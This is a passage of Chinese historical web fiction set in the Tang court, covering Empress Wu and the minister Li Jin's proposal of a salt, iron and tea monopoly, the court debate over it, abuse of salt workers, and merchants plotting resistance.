武媚娘放下手中的茶壶,正色道:“ 陛 下, 关 陇 之 弊 虽 除, 然 国 家 积 弊 仍 多。 吏治初清,然根基未固;田亩虽清,兼并犹在; 而 今 国 家 财 用, 最 大 之 漏 卮, 在 于 盐、 铁、 茶 等 国 之 命 脉, 多 为 地 方 豪 强、 官 商 勾 结 所 把 持, 私 贩 猖 獗, 利 归 私 门, 而 税 赋 不 能 足 额 入 库。 河东一案,已见端倪。 臣 妾 以 为, 当 趁 此 朝 局 一 新、 政 令 畅 通 之 际, 着 手 整 顿 盐 铁 茶 政, 将 此 等 关 乎 国 计 民 生 的 要 物, 收 归 国 家 专 营, 统 一 管 理, 以 充 实 国 用, 抑 制 豪 强。**”
“盐铁茶专营?” 李治微微蹙眉。他并非不知此中弊端,太宗、高宗朝都曾有过相关议论,但因牵扯利益太广,阻力太大,始终未能真正推行。“此乃历朝难题,牵扯甚广,操之过急,恐生变乱。 长 孙 … … 之 事 刚 了, 朝 野 未 靖, 是 否 稍 缓 时 日?”
“陛下,” 武媚娘的声音柔和,却带着不容置疑的力量,“ 正 因 朝 野 未 靖, 方 是 推 行 此 等 大 政 之 良 机。 关陇之势已颓,旧党胆寒,无人再敢明面阻挠。而 新 晋 官 员, 多 出 身 寒 微 或 与 旧 利 益 瓜 葛 不 深, 正 可 倚 为 臂 助。 若待时日迁延,新的利益网络结成,再想动手,便难如登天了。 此 事, 可 交 由 李 瑾 主 持, 详 加 筹 划, 稳 步 推 进。 他办事,陛下与臣妾,当可放心。”
将难题交给能臣,这确实是李治熟悉的模式。他想起李瑾在河东案和新政推行中的果决与能力,心中的犹豫稍减。更重要的是,他也深知国家财政的窘迫,盐铁茶之利若能收归国有,无疑是一剂强心针。他沉吟片刻,终于点头:“皇后所言有理。此事……便由李瑾牵头,会同户部、工部、盐铁司详议,拟个条陈上来。切记, 务 必 周 全, 不 可 再 引 发 大 的 动 荡。”
“陛下圣明。” 武媚娘嘴角泛起一丝笑意,她知道,李治已经同意了。扳倒长孙无忌,不仅仅是为了复仇和夺权,更是为了扫清推行更深层次改革的障碍。 盐 铁 专 营, 这 才 是 真 正 触 及 帝 国 根 本 利 益 分 配 的 大 动 作, 也 是 她 和 李 瑾 下 一 步 的 目 标。** 如今,最大的内部政治障碍已除,皇权(或者说,她所代表的权力)终于独尊,是时候向这些掌控国家命脉的旧势力,发起新的挑战了。
就在帝后于甘露殿商讨未来大计之时,刚刚晋升为尚书右仆射、梁国公的李瑾,正站在自己崭新的、更为宽敞的尚书省值房窗前。窗外,是宏伟的大明宫建筑群,飞檐斗拱,在冬日的阳光下闪烁着冷硬的光芒。
手中握着那份关于盐铁茶专营的初步构想,李瑾的目光却投向了更远的地方。扳倒长孙无忌,位极人臣,看似达到了权力的顶峰。但他心中没有丝毫放松。他比任何人都清楚, 政 治 的 道 路 从 来 不 是 一 劳 永 逸。** 关陇集团倒了,但帝国庞大的躯体上,还有更多盘根错节的利益集团。盐、铁、茶,涉及的利益网络更加复杂,地方豪强、世家大族、甚至朝中那些刚刚靠拢过来的新贵,都可能在其中有着千丝万缕的联系。这将是另一场硬仗,或许,比对付长孙无忌更加艰难和复杂。
而那位珠帘之后,如今已可“同御紫宸殿”的皇后殿下,她的手腕、心机和日渐增长的权力欲望,也让李瑾在倚重之余,心生警兆。他知道,自己这把“利剑”,在斩除了旧敌之后,是否会因为过于锋利而让持剑者也感到不安?未来的路,该如何在皇权、后权、国事与自身安危之间,找到那个微妙的平衡点?
他收回目光,落在案头那份墨迹未干的盐政条陈上。纸张上,“ 收 归 国 营, 统 一 征 购, 官 运 官 销, 严 禁 私 贩”** 几个字,力透纸背。
“新的风暴,就要来了。” 李瑾低声自语,手指轻轻敲击着冰冷的窗棂。窗外,北风渐起,卷动着檐角的铜铃,发出清越而凛冽的声响,仿佛在预示着,一个更加波澜壮阔、也更为险峻的时代,正悄然来临。而皇权独尊的表象之下,新的博弈与制衡,已然开始。
第121章 盐池生乱象
麟德二年的春天,似乎来得比往年更晚一些。长安城外的柳枝刚刚抽出嫩黄的芽苞,寒意却仍盘踞在街巷坊间,尤其是当涉及“盐”这个字眼时,一种无声的、带着铁锈味的紧张感,悄然在帝国的庙堂与江湖之间弥漫。
紫宸殿侧殿,小朝会。
与元日大朝会的隆重相比,此番朝会规模小了许多,气氛却更为凝肃。参与的都是三省六部核心重臣,以及新近提拔、掌管财赋盐铁的关键官员。皇帝李治斜靠在御座上,脸色在透过高窗的苍白天光下,显得有几分倦怠,但眼神却紧盯着殿中正在禀报的几位官员。珠帘之后,武媚娘的身影一如既往地沉静。
然而,此刻回荡在殿中的声音,却带着与这春日不甚相称的沉郁与焦虑。
“启奏陛下、皇后殿下,” 户部尚书唐临(一位以精于计算、相对中立的官员,在清洗中得以留任)手持笏板,眉头紧锁,声音带着显而易见的忧急,“ 去 岁 各 地 盐 课 ( 盐 税) 入 库, 较 永 徽 末 年, 不 增 反 减 两 成 有 余。 然据各地上报之盐产量及市面流通估算, 实 际 盐 产 与 交 易 量, 应 有 增 无 减。** 此间巨大差额,税赋流失之巨,触目惊心!”
他顿了顿,从袖中取出一份厚厚的奏疏,呈递上去:“此乃臣会同盐铁司,并遣人密查河东、河北、淮南、两浙等主要产盐、销盐之地后,汇总之详情。 盐 政 之 弊, 已 非 疥 癣 之 疾, 实 乃 心 腹 之 患!”
宦官将奏疏呈至御前,李治勉强坐直身子,翻阅了几页,越看脸色越是阴沉。武媚娘在帘后,亦凝神细听。
唐临继续陈述,声音在寂静的殿中显得格外清晰:“其一, 私 盐 泛 滥, 官 盐 滞 销。 各地盐场,虽有朝廷派驻官员监管,然吏治腐败,与地方豪强、盐枭勾结者,十有五六。官盐出产,质次价高,而私盐炼制精良,价格低廉,且流通无阻。百姓趋利,自然竞购私盐。 河 东 解 池, 官 盐 积 压 逾 百 万 石, 而 私 盐 贩 运 之 车 马, 昼 夜 不 绝 于 道。 官府缉私营伍,或收受贿赂,睁只眼闭只眼;或与盐枭沆瀣一气,坐地分赃。更有甚者, 官 盐 竟 被 私 下 转 卖, 以 充 私 盐 出 售, 中 饱 私 囊!”
殿中响起一片压抑的吸气声。虽然不少人都对盐政弊端有所耳闻,但听到户部尚书以如此确凿的语气和数字指出,仍感心惊。
“其二,” 唐临的声音愈发沉重,“ 盐 价 腾 贵, 民 生 维 艰。 官盐因成本、损耗、层层盘剥,定价本就高昂。私盐虽相对价低,然盐枭为牟暴利,亦常操纵市价,尤其偏远之地,盐价堪比粮价,斗米斤盐,寻常百姓不堪其负。 淮 南、 江 南 诸 道, 已 有 贫 民 因 无 钱 购 盐, 而 ‘ 淡 食’ 数 月 者, 体 力 衰 弱, 疫 病 频 生。** 此非危言耸听,乃臣所遣御史亲眼所见!”
“其三,” 唐临的目光扫过殿中诸臣,尤其在几位出身盐利丰厚地区的官员脸上稍作停留,“ 盐 利 尽 归 豪 强, 国 用 日 蹙。 盐,乃天地自然之利,本应属国家所有,利归天下。然如今,煮盐之利,十之七八入于盐场主、转运商、地方豪强及贪官污吏之手。 两 淮 盐 商, 富 可 敌 国, 园 林 宅 第, 僭 越 王 侯; 河 东 盐 枭, 拥 有 私 兵, 武 装 贩 运, 目 无 法 纪。 彼等坐拥巨利,生活奢靡无度,而朝廷府库,却因盐课流失,捉襟见肘。 去 岁 河 南 水 患, 赈 济 钱 粮, 竟 需 从 常 平 仓 勉 强 挪 借! 长此以往, 国 将 不 国 矣!**”
唐临的奏报,如同冷水滴入滚油,在殿中引发了低低的骚动。虽然无人敢公开反驳,但不少官员,尤其是那些与盐利有着千丝万缕联系的官员,已是面色不豫,眼神闪烁。
李治合上奏疏,揉了揉眉心,声音疲惫中带着怒意:“私盐猖獗至此,盐课流失如此,地方官府,盐铁司,都是干什么吃的?监察御史,又在哪里?”
新任御史大夫崔义玄出列,躬身道:“陛下,皇后殿下,御史台亦接到多起相关弹劾。然 盐 利 纠 葛, 盘 根 错 节, 地 方 官 员、 盐 务 衙 门、 乃 至 朝 中 … … 皆 有 牵 连。 查案御史,往往受阻于地方,或证据被毁,或证人失踪,甚至……” 他顿了顿,声音压低,“ 亦 有 御 史 收 受 贿 赂, 为 其 张 目 者。 河东道一位王姓御史,去岁奉旨暗查解池私盐,不足一月,便暴病身亡,其中蹊跷,至今未明。”
“砰!” 李治猛地一拍御案,气得咳嗽起来,“无法无天!简直是无法无天!” 他脸色涨红,胸口起伏,“ 盐 铁 之 利, 国 家 命 脉, 竟 腐 蚀 至 此!** 先帝在时,便屡有整顿之议,皆因阻力重重而未能竟全功。难道到了朕这一朝,竟要眼睁睁看着这糜烂之局,继续下去吗?!”
他的目光,不由自主地投向珠帘之后,也扫过了站在文臣班列前列、神色凝重的李瑾。
武媚娘清冷的声音适时响起,压下了殿中的不安:“陛下息怒。唐尚书、崔大夫所言,俱是实情。盐政之弊,积重难返,非一日之寒。 然 正 因 其 为 心 腹 之 患, 更 不 可 坐 视 不 理。 朝廷府库空虚,边疆用度、河工水利、官员俸禄、赈济灾民,何处不需钱粮?盐利流失,便是动摇国本。如今朝局初定, 正 是 下 决 心、 出 重 拳, 整 顿 盐 政、 收 归 国 利 之 时!”
她的话语,为这场讨论定下了基调——不是要不要改,而是必须改,而且要下重手。
李治喘匀了气,看向李瑾:“李相,你主理新政,对经济事务亦有深研。对此,有何见解?”
李瑾早有准备,出列行礼,声音沉稳而清晰:“陛下,皇后殿下。唐尚书所奏,句句属实,触目惊心。臣以为,盐政之弊,根源在于‘ 利 出 多 孔, 权 责 不 明’。 当前盐法,名义上官府监管,实则多为民间煮晒、商贾贩运,朝廷只抽取盐课。此制之下, 煮 盐 之 人 不 恤 国 课, 贩 盐 之 人 唯 利 是 图, 管 盐 之 人 易 于 勾 结。** 私盐之利,十倍、百倍于官课,铤而走险者自然络绎不绝。地方豪强、贪官污吏、乃至江湖势力,皆卷入其中,形成庞大利益之网,盘剥百姓,侵蚀国帑。”
他略一停顿,目光扫过那些面色各异的同僚,继续道:“若要根治此弊, 小 修 小 补 已 无 济 于 事。 必须 改 弦 更 张, 行 非 常 之 法。 臣恳请陛下、皇后殿下, 下 旨 彻 查 全 国 盐 务, 厘 清 弊 端, 并 召 集 重 臣, 共 议 盐 法 改 革 之 策。 当务之急,可先派得力干员,分赴各主要盐区, 明 察 暗 访, 掌 握 确 凿 证 据, 同 时 整 顿 盐 务 吏 治, 严 惩 贪 腐, 以 儆 效 尤。** 为后续大政,扫清障碍。”
李瑾没有直接提出“国家专营”这个最终目标,而是先从“彻查”、“厘清”、“整顿吏治”入手,这是稳妥之举,也符合皇帝当前“不可再生大动荡”的意愿。但其话语中“改弦更张”、“非常之法”的意味,已足够清晰。
李治沉吟片刻,看向武媚娘。武媚娘微微颔首。
“准奏。” 李治终于下定了决心,“ 着 李 瑾 总 领 此 事, 会 同 户 部、 刑 部、 御 史 台, 遴 选 精 干 官 员, 组 成 盐 务 清 查 使 团, 分 赴 河 东、 淮 南、 两 浙 等 地, 明 察 暗 访, 将 盐 政 积 弊, 给 朕 查 个 水 落 石 出! 凡有贪赃枉法、勾结私盐、玩忽职守者, 无 论 职 位 高 低, 一 体 严 惩, 绝 不 姑 息!”
“臣,领旨!” 李瑾肃然躬身。他知道,一场比扳倒长孙无忌更加复杂、牵扯利益更为广泛、对手更为隐蔽而凶悍的经济战争,已经悄然打响。而清查盐务,只是这场战争的第一声号角。
几乎与此同时,千里之外的河东道,解池之畔。
解池,这片古老的盐湖,在略显黯淡的春日天光下,泛着灰白相间的、了无生气的光泽。湖畔,密密麻麻的盐畦(人工开辟的晒盐池)如同巨大的棋盘,延伸向远方。空气中弥漫着浓重的咸腥气息,以及一种更深的、属于贫困与压榨的苦涩味道。
盐畦旁,衣衫褴褛、面黄肌瘦的盐丁们,正佝偻着身子,用简陋的工具刮取池边结晶的硝板(盐与杂质的混合结晶)。他们的手脚因常年浸泡在卤水中,布满溃烂的伤口和新旧疤痕。监工的皮鞭声、呵斥声,与盐丁们压抑的咳嗽声、沉重的喘息声交织在一起。
“快点!没吃饭吗!今天不把这畦硝刮完,谁也别想领工钱!” 一个满脸横肉的盐场小吏,挥舞着皮鞭,厉声喝骂。
一个年老的盐丁动作稍慢,背上立刻挨了一鞭,破烂的衣衫裂开,露出一道血痕。老人闷哼一声,险些扑倒,却咬紧牙关,不敢吭声,只是更加卖力地挥动着手里的刮板。
“王头儿,行行好……” 一个瘦弱的青年盐丁,看着手中几乎空了的粗粮饼子,哀求道,“这工钱……能不能先支一点,家里老娘病了,等着抓药……”
“支钱?” 那小吏啐了一口,三角眼里满是鄙夷,“盐还没出,哪来的钱?再说,就你们刮这点硝,值几个子儿? 上 头 的 ‘ 份 子 钱’、 ‘ 管 理 费’ 不 用 交?** 还想支钱?做梦!”
青年盐丁眼中闪过一丝绝望,看了看手中粗粝的硝板,又看了看远处盐场管事那修建得颇为气派的宅院,拳头攥紧,又无力地松开。
突然,盐场外传来一阵喧嚣。几辆装饰华丽、挂着厚厚帷幔的马车,在数十名精壮家丁的护卫下,径直驶入盐场,无视了那些简陋的工棚和劳作的盐丁,直奔管事宅院而去。
“是‘丰隆号’的刘大掌柜!” 有眼尖的盐丁低呼,声音里带着复杂的情绪,是畏惧,也是麻木的怨恨。
“丰隆号”,解池一带最大的私盐贩子,不,明面上是最大的盐商。据说与河东裴氏、甚至更高层的人物都有着千丝万缕的联系。裴氏倒台后,“丰隆号”似乎沉寂了一阵,但很快又恢复了活动,甚至气焰更盛。他们以极低的价格从盐场管事手中“收购”本应上缴官府的盐,再通过自己的渠道,高价销往各地,利润惊人。
盐场管事早已满脸堆笑地迎了出来,与从马车上下来的、穿着锦袍、大腹便便的刘掌柜把臂言欢,一同进了宅院。沉重的院门关上,隔绝了内外。
盐丁们默默地看着,眼神空洞。他们知道,自己辛苦刮取的硝,经过熬煮、提纯,变成雪白的盐,其中的绝大部分,都不会进入官仓,变成他们微薄的工钱和朝廷的税收,而是会流入那高墙之内,变成“丰隆号”马车上的货物,变成刘掌柜身上的绫罗绸缎和宅院里的珍馐美酒。
“呸!” 那挨了鞭子的老盐丁,朝着管事宅院的方向,无声地啐了一口带血的唾沫,浑浊的眼睛里,是深入骨髓的恨意与绝望。
而在更遥远的淮南道,扬州,这个因盐而兴、富甲天下的繁华之地。
精致的园林内,丝竹悦耳,舞袖翩跹。一场私密的宴饮正在进行。作陪的,不仅有扬州的富商巨贾,更有几位身着便服、但气度不凡的地方官员。
“诸位,请满饮此杯!” 主位上,一位精神矍铄、目光精明的老者举杯,他便是扬州盐商行会的会长,沈万川。其家业遍及盐、漕、典当,富可敌国,据说在长安亦有不浅的背景。“长安的消息,想必大家都听说了。有人,要动咱们的命根子了。”
席间气氛微微一滞。一位盐商放下酒杯,面带忧色:“沈公,朝廷真要行那‘盐铁专卖’?这……这岂不是要断我等生路?”
“生路?” 沈万川冷笑一声,把玩着手中的玉杯,“朝廷这是要 夺 我 等 之 利, 以 肥 国 库! 说什么私盐泛滥,官盐滞销,民不聊生!不过是欲加之罪!这江淮的盐,若无我等苦心经营,疏通关节,如何能行销天下?朝廷坐收盐课即可,如今竟想一口吞下,未免欺人太甚!”
一位官员模样的中年人,压低了声音道:“沈公所言极是。不过,此番朝中动静不小,那李瑾……可是个狠角色。长孙太尉何等人物,都栽在他手里。我等,不可不防啊。”
“李瑾?” 沈万川眼中闪过一丝忌惮,但随即被更深的算计取代,“他再狠,也是人。是 人, 就 有 弱 点, 就 有 价 码。** 长孙太尉是倒在他手里,可长孙太尉,也给咱们留了‘路子’。” 他意味深长地看了一眼在座的几位官员,“长安的贵人们,未必就乐意看到李瑾和宫里那位,把手伸得太长。盐利,可不是谁想动,就能动得了的。”
他顿了顿,声音更冷:“况且,这江淮之地,水道纵横,盐场星罗棋布。 朝 廷 想 收 归 官 营? 可 以。 但 这 煮 盐 的 灶 户, 运 盐 的 船 家, 护 盐 的 豪 杰, 还 有 这 扬 州、 楚 州、 杭 州 大 小 盐 栈 的 伙 计, 他 们 的 生 计, 朝 廷 管 得 了 吗? 断了他们的活路, 会 出 什 么 乱 子, 那 可 就 不 是 我 等 能 预 料 的 了。**”
话语中,威胁之意,昭然若揭。在座的盐商和官员,交换了一下眼神,都从对方眼中看到了一丝心照不宣的寒意,以及一种基于共同利益的狠厉。
宴饮继续,丝竹依旧,但欢宴的表象之下,暗流已然汹涌。一场关于盐利归属的无声战争,在庙堂决策的同时,也在江湖之远,悄然布下了棋子。盐池之畔盐丁的绝望,与扬州园林中盐商的密谋,共同勾勒出帝国盐政乱象下,那尖锐对立的、即将爆发冲突的冰山一角。
长安,李瑾的案头,已经堆满了来自各方、关于盐务的密报。他知道,自己即将面对的,是一个比关陇集团更加盘根错节、更加唯利是图、也更加不择手段的利益怪兽。而这场“盐铁论战”的第一缕硝烟,已经在这份沉甸甸的汇报和千里之外的密谋中,悄然升起。
第122章 瑾奏盐铁论
麟德二年的春意,尚未完全渗透进长安城厚重的宫墙,一场远比料峭春寒更为凛冽的风暴,已在大唐帝国的权力中枢酝酿成形。前次朝会关于盐政积弊的奏报,如同一块投入深潭的巨石,表面波澜或许暂时平复,水下的激流与压力却在持续积累,等待着决堤而出的那一刻。
数日后,皇帝下旨,于延英殿召开扩大范围的御前会议,专议盐铁茶务。 与会者除三省长官、六部尚书、九寺卿等重臣外,还特意召见了部分出身盐铁重地或素有经济之才的官员,甚至包括几位在京的皇室宗亲。显然,皇帝和皇后都意识到,此事牵涉太广,需要在更大范围内听取意见,亦或是……观察风向。
延英殿内,气氛凝重。鎏金铜兽吞吐着袅袅青烟,却驱不散弥漫在空气中的紧绷感。李治端坐御榻,神色沉肃。珠帘后的武媚娘身影朦胧,却无人敢忽视她的存在。
户部尚书唐临首先出列,将盐务清查使团初步反馈的情况,做了简要而沉痛的汇报。 私 盐 规 模 之 巨、 官 商 勾 结 之 深、 盐 课 流 失 之 重, 以 及 盐 价 腾 贵 对 民 生 的 摧 残, 再 次 以 确 凿 的 数 据 和 案 例 呈 现 在 众 臣 面 前。 一些原本对盐政弊端认识不清的官员,也不禁为之动容。
“盐政之弊,已危及国本,糜烂地方,戕害百姓,此诚陛下、皇后殿下不可不察,不可不急图更张之时也!” 唐临最后慨然总结,声音在殿中回荡。
然而,他的话音刚落,反对的声音便接踵而至。
“唐尚书所言,固然有理。然盐务积弊,非一日之寒,牵一发而动全身。” 一位年迈的礼部侍郎颤巍巍出列,他是山东士族出身,家族在地方亦有盐利关联,语气充满忧虑,“ 盐 乃 民 生 必 需, 历 来 听 民 间 煮 贩, 官 收 其 税, 此 乃 高 祖、 太 宗 旧 制, 亦 符 合 ‘ 不 与 民 争 利’ 之 圣 训。 若骤然更改,行专卖之策, 恐 扰 乱 市 场, 窒 碍 流 通, 反 使 盐 价 更 昂, 百 姓 受 害 更 深 啊!”
立刻有人附和:“侍郎所言极是!且盐铁茶务,涉及煮炼、转运、售卖,环节众多,地域广阔。 若 收 归 官 营, 需 设 置 多 少 衙 门, 增 加 多 少 官 吏? 此等官吏之俸禄、耗费,又从何而出?只怕 所 得 之 利, 尚 不 足 以 供 养 这 些 官 吏 衙 门, 徒 增 国 家 负 担, 肥 了 胥 吏, 苦 了 百 姓! 前汉盐铁之议,贤良文学之论,不可不察!”
“与民争利”是反对者最常用、也最冠冕堂皇的理由,仿佛将盐利归于豪强私商,才是真正的“利民”。而“徒增冗员”、“前汉之鉴”等说辞,也颇具迷惑性。
紧接着,一位出身关陇、虽在清洗中未受波及但已如惊弓之鸟的工部官员,小心翼翼地补充道:“ 更 有 一 层, 盐 场 灶 户, 运 盐 船 工, 售 盐 商 贾, 赖 此 为 生 者 何 止 百 万? 一旦朝廷收归官营, 此 等 人 等 生 计 顿 失, 必 生 变 乱! 东南、河东,盐枭、私贩本已猖獗,若再断其生路,岂非逼其为盗,酿成大祸? 还 请 陛 下、 皇 后 殿 下 三 思, 慎 之 又 慎!” 他将“民生”与“治安”联系起来,话语中隐含威胁。
一时间,反对、质疑之声此起彼伏,理由似乎都颇为充分,充满了为国为民的忧思。不少中间派官员面露犹豫,觉得双方似乎都有道理。御座上的李治,眉头也越皱越紧。他深知盐务弊病必须革除,但这些反对意见,也确实点出了可能的巨大风险和阻力。
就在反对声浪渐高,支持改革的唐临、崔义玄等人显得有些势单力薄之时,一个清朗而沉稳的声音响起,压过了殿中的嘈杂:
“陛下,皇后殿下,臣有本奏。”
众人望去,只见尚书右仆射、梁国公李瑾,手持象牙笏板,从容出列。他今日穿着紫色官袍,身姿挺拔,面对众多质疑和隐含敌意的目光,神色平静,目光清澈而坚定。
“诸公所虑,不外乎‘与民争利’、‘徒增冗费’、‘扰动民生’、‘恐生变乱’数端。” 李瑾开门见山,声音不大,却清晰地传入每个人耳中,“ 然 臣 以 为, 诸 公 所 言, 或 为 皮 相 之 见, 或 为 一 叶 障 目, 未 见 根 本。 今日,臣愿效法汉之桑弘羊, 奏 陈 ‘ 盐 铁 论’, 为 陛 下、 皇 后 殿 下, 亦 为 诸 公, 剖 析 利 害, 以 明 是 非。**”
“汉之桑弘羊”几个字一出,殿中顿时一静。桑弘羊主持盐铁专卖,充实国用,支撑了汉武帝的赫赫武功,但也因“与民争利”备受争议。李瑾以此自比,既显决心,也知必引争论。
李瑾不待众人反应,已然展开手中早已备好的奏疏(实为一份详细的政策纲领),朗声陈奏:
“ 其 一, 何 谓 ‘ 与 民 争 利’? 盐铁茶者, 乃 天 地 自 然 之 利, 山 泽 之 出, 本 非 私 人 所 有, 理 应 归 国 家 所 有, 利 归 天 下。 今盐利不入国库,而尽归豪强私商。 此 等 豪 强 私 商, 囤 积 居 奇, 操 纵 市 价, 盘 剥 小 民, 勾 结 官 吏, 逃 避 税 赋。 其所争之‘利’,实乃 窃 取 国 家 之 利, 榨 取 百 姓 之 利。 朝廷收回专卖,是 夺 不 法 之 利 以 归 公, 取 豪 强 之 利 以 济 民, 何 来 ‘ 与 民 争 利’? 所 与 争 者, 乃 蠹 国 之 奸 商, 害 民 之 豪 强 耳! 真正为民之‘民’,乃 盼 盐 价 平 稳、 不 受 盘 剥 之 亿 万 黎 庶, 非 那 些 朱 门 酒 肉 臭 之 辈!”
他声音陡然提高,目光如电,扫过刚才以“与民争利”为由反对的官员,后者竟有些不敢直视。
“ 其 二, 所 谓 ‘ 徒 增 冗 费’。 此诚杞人之忧!” 李瑾语带讥诮,“当前盐务,看似朝廷机构简单,只收盐课。然 私 盐 泛 滥, 盐 课 十 不 入 五, 此 为 巨 大 漏 卮! 朝廷为缉私,于各要道设卡,派兵巡防,所费几何?地方官吏因盐利而腐化,贪墨横行,吏治败坏,此无形之损耗,又几何? 行 专 卖 之 法, 设 立 专 司, 统 一 产 运 销, 看 似 增 加 官 吏, 实 则 裁 撤 大 量 重 复 之 卡 哨、 清 理 贪 腐 之 蠹 虫, 去 除 中 间 层 层 盘 剥。 官盐质优价平,私盐无利可图,自然绝迹。 所 增 之 费, 与 所 得 之 巨 利 及 所 省 之 耗 相 比, 不 过 九 牛 一 毛! 且专卖之利,充盈国库,可用于赈灾、修河、强军、养民, 乃 是 以 一 业 之 利, 活 天 下 之 财, 何 来 ‘ 徒 增 负 担’ 之 说? 前汉行盐铁专卖,支撑武帝开疆拓土,其利可见一斑!”
“ 其 三, 忧 ‘ 扰 动 民 生’, 恐 ‘ 生 计 顿 失’ 者, 更 是 荒 谬!” 李瑾语气转为凌厉,“当前煮盐灶户,受场主、商贾层层盘剥, 所 得 微 薄, 不 足 果 腹, 形 同 奴 役, 此 乃 ‘ 生 计’ 耶? 贩盐船工、脚夫,奔波劳苦,风险自担,所得大半亦入商贾之囊, 此 乃 ‘ 生 计’ 耶? 朝廷行专卖,非 绝 其 生 路, 而 是 将 此 等 人 纳 入 官 府 体 系。 灶户可为官营盐场之工,领固定工钱,不受私主虐待;船工脚夫可受雇于官府转运,得安稳报酬。 此 乃 变 不 稳 定 之 苦 役 为 稳 定 之 生 业, 何 来 失 业 之 忧? 至于那些坐拥巨利、富可敌国的盐商豪强, 其 生 计 本 就 建 立 在 盘 剥 国 家 与 百 姓 之 上, 朝 廷 取 缔, 乃 是 天 经 地 义, 为 民 除 害! 若彼等因利源被断,便欲铤而走险,啸聚为乱, 那 更 是 暴 露 其 祸 国 殃 民 之 本 质, 朝 廷 正 可 以 王 师 荡 平, 以 正 国 法! 岂有因恐其作乱,便纵容其继续吸食国髓民膏之理?!”
李瑾言辞犀利,逻辑严密,层层批驳,将反对者的理由一一驳倒。他并非空谈道理,而是将河东、淮南等地盐丁的悲惨境遇、盐商豪奢无度的实例,与严密的数字推算相结合,极具说服力。殿中不少原本犹豫的官员,开始若有所思。
最后,李瑾深吸一口气,双手捧起奏疏,朗声道:
“陛下,皇后殿下!盐铁之利, 乃 国 家 之 血 脉, 社 稷 之 根 基。 任由私门把持,则 国 用 日 蹙, 边 备 空 虚, 民 生 凋 敝, 豪 强 坐 大。 行 专 卖 之 法, 收 利 归 公, 则 可: 一、 充 实 国 库, 强 兵 富 国; 二、 平 抑 盐 价, 惠 及 苍 生; 三、 打 击 豪 强, 加 强 集 权; 四、 整 肃 吏 治, 清 明 政 风。 此乃 利 国 利 民 之 大 计, 强 本 抑 末 之 良 策!”
“ 故 臣 李 瑾, 冒 死 恳 请 陛 下、 皇 后 殿 下, 乾 纲 独 断, 下 旨 推 行 盐 铁 茶 专 卖 新 法! 具体而言,可 设 立 盐 铁 转 运 使, 总 领 全 国 盐 铁 茶 之 产、 运、 销; 于 各 地 设 立 盐 场、 盐 监, 统 一 生 产, 官 制 官 收; 废 除 旧 有 盐 课, 实 行 官 府 专 卖, 统 一 定 价; 颁 行 严 刑 峻 法, 打 击 私 盐 贩 运。 并 可 发 行 ‘ 盐 引’ ( 专 卖 凭 证), 许 民 间 商 贾 凭 引 购 盐 运 销, 纳 税 于 官, 以 补 官 运 之 不 足, 兼 收 管 控 与 流 通 之 效。”
“此策一行, 短 则 一 年, 国 库 盐 利 可 增 数 倍; 长 则 三 载, 盐 政 弊 端 可 得 根 治, 天 下 盐 价 可 趋 平 稳, 此 乃 功 在 当 代, 利 在 千 秋 之 举! 纵有千难万险,臣 愿 为 陛 下、 为 社 稷, 蹈 此 火 海, 万 死 不 辞!”
李瑾的声音铿锵有力,在殿中回荡,最后深深拜伏于地,双手将奏疏高高举过头顶。
殿中一片寂静。只有铜兽香炉中青烟笔直上升。所有人都被李瑾这番系统、全面、又极具冲击力的“盐铁论”所震撼。支持者如唐临、崔义玄等人,面露振奋之色;反对者则脸色铁青,想要反驳,一时却又找不到更有力的论点;更多的中间派,则陷入了深深的思考。
珠帘之后,武媚娘的目光,落在李瑾挺拔而决绝的背影上,嘴角几不可察地掠过一丝赞许的弧度。这番陈词,不仅有理有据,更难得的是那份一往无前的担当与锐气。这正是她所需要的利刃。
御座上的李治,神色复杂。他深知李瑾所言切中时弊,改革势在必行。但那些反对的声音,尤其是关于“扰动民生”、“恐生变乱”的警告,也像一根根刺,扎在他心头。他身体本就不好,最怕的就是天下动荡。改革是好,但若引起大乱……
他沉默良久,目光扫过殿中神色各异的群臣,最后缓缓开口,声音带着一丝疲惫,却也有一丝坚定:“李相所奏,关乎国计民生,干系重大。 诸 卿 之 言, 亦 是 老 成 谋 国 之 论。 盐政之弊,确需革除;然如何革除,尚需周详谋划。 此 事 … … 容 朕 再 思 之。 李相奏疏,留下。诸卿可各具本章,详陈利弊,明日再议。”
他没有当场决断,但将李瑾的奏疏留下,并让群臣“各具本章”,本身就是一种态度——改革之事,已提上日程,不容搁置。争论,才刚刚开始。
朝会散去,官员们三五成群,低声议论着离开延英殿。李瑾的“盐铁论”,如同在平静的湖面投下巨石,其引发的波澜,必将迅速从庙堂扩散至整个天下。一场席卷帝国经济命脉的狂风暴雨,已见端倪。
而此刻,在远离皇城的某处华丽宅邸中,几位身着常服、却气度不凡的人,也已通过各自的渠道,第一时间得知了延英殿内发生的一切。为首一人,面色阴沉,将手中的密报缓缓攥紧,指节发白。
“李瑾……盐铁专卖……哼,这是要断我等根基啊。” 他低声自语,眼中寒光闪烁,“ 既 然 朝 堂 之 上, 道 理 讲 不 通 … … 那 就 让 他 看 看, 这 天 下 的 盐, 究 竟 是 谁 说 了 算!”
第123章 豪商聚长安
李瑾的“盐铁论”如同投入滚油的火星,瞬间点燃了朝堂内外压抑已久的争论。而这场争论的余波,以远超所有人想象的速度,从巍峨的宫城蔓延至长安城的每一个角落,最终,汇聚成了一股看不见却切实可感的暗流,悄然涌向这座帝国的都城。
最先察觉到异样的,是长安两市(东市、西市)的商贾和坊间的百姓。
原本就车水马龙、商旅云集的长安城,在麟德二年的这个春天,显得比往年更加喧嚣拥挤。然而,细心人很快发现,涌入的人群中,多了一些不同寻常的面孔。
他们并非寻常行商。行商多风尘仆仆,货物随身,眼神里带着奔波与算计。而这些人,或乘着装饰华丽、帷幔低垂的马车,在精悍护卫的簇拥下悄然驶入各大坊区的深宅大院;或骑着神骏的胡马,身着看似朴素实则价值不菲的蜀锦或吴绫,身后跟着沉默寡言却目光锐利的随从。他们很少出现在喧闹的市井,更多是出入于平康坊的青楼楚馆、崇仁坊的邸店(高级旅馆),或是某些门庭森严的官员、宗亲府邸。
这些人操着各地的口音——河东的硬朗、淮南的软糯、巴蜀的泼辣、江南的温软……但无一例外,眉宇间都沉淀着长久掌握巨额财富所带来的自信与从容,以及此刻难以掩饰的凝重与焦虑。
“听说了吗?东市‘汇通’、‘隆昌’几家最大的邸店,上等院子全被包了,一包就是三个月!金饼子流水般花出去,眼都不眨!”
“西市波斯邸那边更了不得,来了好几拨胡商模样的人,可开口说的却是地道的江淮官话,带来的不是香料宝石,倒像是一箱箱沉甸甸的……怕不是金银?”
